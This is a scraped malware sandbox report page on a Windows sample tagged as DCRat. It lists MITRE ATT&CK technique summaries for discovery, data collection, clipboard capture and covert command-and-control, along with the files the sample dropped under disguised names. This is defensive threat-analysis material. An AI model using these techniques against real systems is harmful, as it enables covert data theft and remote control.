Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6G8OR42xrB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\86503de627f43d

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe:Zone.Identifier

C:\Recovery\86503de627f43d

C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe:Zone.Identifier

C:\Users\Default\5940a34987c991

C:\Users\Default\dllhost.exe

C:\Users\Default\dllhost.exe:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\6G8OR42xrB.exe.log

C:\Users\user\AppData\Local\Temp\09JXV2dyHb

Windows Analysis Report
6G8OR42xrB.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre